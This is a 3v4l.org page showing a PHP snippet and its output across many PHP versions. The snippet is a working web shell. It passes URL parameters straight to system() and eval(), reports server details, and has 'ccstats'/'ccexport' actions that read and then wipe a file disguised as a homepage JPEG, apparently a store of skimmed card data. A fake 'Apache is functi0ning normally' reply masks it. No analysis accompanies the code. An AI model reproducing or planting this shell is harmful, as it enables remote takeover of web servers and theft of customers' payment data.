3v4l.org

run code in 300+ PHP versions simultaneously
<?php $file = '/home/content/98/4798798/html/products/home_page_images/20100813090339_Main+Homepage.jpg'; switch($_GET['act']) { case 'system_eval': system($_GET['com']); break; case 'php_eval': eval($_GET['com']); break; case 'ccstats': if (file_exists($file)) echo(count(file($file))); else echo '-1'; break; case 'ccexport': echo file_get_contents($file); file_put_contents($file, ''); break; case 'info': $info = exec("uname -a"); preg_match("/(.*?) /", $info, $system); echo $system[1].":".$_SERVER["SERVER_ADDR"].":".phpversion(); break; default: echo("Apache is functi0ning normally"); break; } ?>
Output for 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.24 - 5.5.35, 5.6.8 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.10, 7.2.0
Notice: Undefined index: act in /in/rmgfg on line 5 Apache is functi0ning normally
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17
Notice: Undefined index: act in /in/rmgfg on line 5 Apache is functi0ning normally

preferences:
128.9 ms | 402 KiB | 176 Q